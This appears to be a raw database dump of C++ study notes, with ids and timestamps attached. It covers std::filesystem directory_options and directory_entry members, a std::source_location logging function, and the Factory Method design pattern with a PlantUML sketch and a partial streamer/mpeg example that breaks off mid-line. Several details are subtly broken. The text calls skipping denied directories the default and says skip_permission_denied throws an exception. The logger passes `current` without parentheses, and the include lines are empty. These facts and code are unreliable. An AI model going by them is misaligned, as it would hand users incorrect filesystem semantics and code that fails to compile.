09:54:21.569735 -2324 706 When iterating over directories you can pass values of type\n`directory_options`. The type is a bitmask scoped enumeration type, defined\nin namespace `std::filesystem` as follows: text txt 2024-07-28 09:51:43.674651 -2325 706 namespace std::filesystem {\n enum class directory_options {\n none,\n follow_directory_symlink,\n skip_permission_denied\n };\n} code txt 2024-07-28 09:51:43.69443 -2326 706 The default is not to follow symbolic links and to skip directories you are\nnot allowed to iterate over. With `skip_permission_denied` iterating over a\ndenied directory, results in an exception. text txt 2024-07-28 09:51:43.714274 -2327 707 The elements directory iterators iterate over are of type\n`std::filesystem::directory_entry`. These iterators are input iterators. The\nreason is that iterating over a directory might result into different results\nas at any time directory entries might change. This has to be taken into\naccount when using directory iterators in parallel. text txt 2024-07-28 09:51:44.614666 -2328 707 e.path();\ne.exists()\ne.is_regular_file()\ne.is_directory()\ne.is_symlink()\ne.is_other()\ne.is_block_file()\ne.is_character_file()\ne.is_fifo()\ne.is_socket()\ne.file_size()\ne.hard_link_count()\ne.last_write_time()\ne.status()\ne.symlink_status()\ne1 == e2\ne1 != e2\ne1 < e2\ne1 <= e2\ne1 > e2\ne1 >= e2\ne.assign(p)\ne.replace_filename(p)\ne.refresh() code txt 2024-07-28 09:51:44.63619 -2329 707 `assign()` and `replace_filename()` call the corresponding modifying path\noperations but do not modify the files in the underlying filesystem. text txt 2024-07-28 09:51:44.656446 -2330 708 #include \n#include \n#include text txt 2024-07-28 09:51:45.2993 -2331 708 void log(std::string_view const message, std::source_location const location = std::source_location::current)\n{\n std::cerr << location.file_name() << ": " << location.line() << "\\\\n\\\\t"\n << location.function_name() << ": " << message << "\\\\n";\n} text txt 2024-07-28 09:51:45.321424 -2332 708 void do_something()\n{\n log("something is done here");\n} text txt 2024-07-28 09:51:45.342666 -2333 708 int main()\n{\n do_something();\n} code txt 2024-07-28 09:51:45.362621 -2334 709 - Creational Patterns\n- Behavioral Patterns\n- Structural Patterns text txt 2024-07-28 09:51:45.654718 -2335 710 - Factory Method\n- Abstract Factory\n- Builder\n- Prototype\n- Singleton text txt 2024-07-28 09:51:45.935224 -2336 711 - Encapsulates object creation in one method\n- Provides interface to create subclasses text txt 2024-07-28 09:51:46.183432 -2337 712 When there are different products sharing similar properties and there might\nbe more products later to be added to the program. In that case, an abstract\nproduct generalizing all similar products should be created. And then, all\nvariations of concrete products inherit from abstract product. text txt 2024-07-28 09:51:46.872426 -2338 712 @startuml\nabstract Product {\n}\nconcrete ProductVariation1 {\n}\nconcrete ProductVariation2 {\n}\nabstract Creator {\n}\nconcrete ConcreteCreator {\n + getProduct(): Product\n}\n@enduml code txt 2024-07-28 09:51:46.893279 -2339 712 On the other hand, There should be an abstract creator class that provides\nproduct generation methods. Then, there should be a concrete factory which\ncomposes a factory method returning abstract product. text txt 2024-07-28 09:51:46.913398 -2340 713 *main.cpp*\n#include \n#include text txt 2024-07-28 09:51:49.733156 -2341 713 #include \n#include text txt 2024-07-28 09:51:49.75345 -2342 713 int main()\n{\n dp::streamer streamer;\n std::shared_ptr video{streamer.record("mpeg")};\n std::cout << video->length().count() << std::endl;\n} code txt 2024-07-28 09:51:49.77383 -2343 713 *mpeg.cpp*\n#include text txt 2024-07-28 09:51:49.793131 -2344 713 using namespace dp; text txt 2024-07-28 09:51:49.814431 -2345 713 mpeg::mpeg(std::chrono::seconds const& length)\n : _length{length}\n{\n} text txt 2024-07-28 09:51:49.836282 -2346 713 std::chrono::seconds mpeg::length() const noexcept\n{\n return _length;\n} code txt 2024-07-28 09:51:49.856402 -2347 713 *mpeg.hpp*\n#pragma once text txt 2024-07-28 09:51:49.877867 -2348 713 #include text txt 2024-07-28 09:51:49.897507 -2349 713 namespace dp\n{\nclass mpeg : public video\n{\npublic:\n explicit mpeg(std::chrono::seconds const& length);\n std::chrono::seconds length() const noexcept override; text txt 2024-07-28 09:51:49.917509 -2350 713 private:\n std::chrono::seconds _length;\n};\n} // dp code txt 2024-07-28 09:51:49.938203 -2351 713 *streamer.cpp*\n#include \n#include text txt 2024-07-28 09:51:49.958829 -2352 713 #include text txt 2024-07-28 09:51:49.979005 -2353 713 using namespace dp; text txt 2024-07-28 09:51:49.999792 -2354 713 std::shared_ptr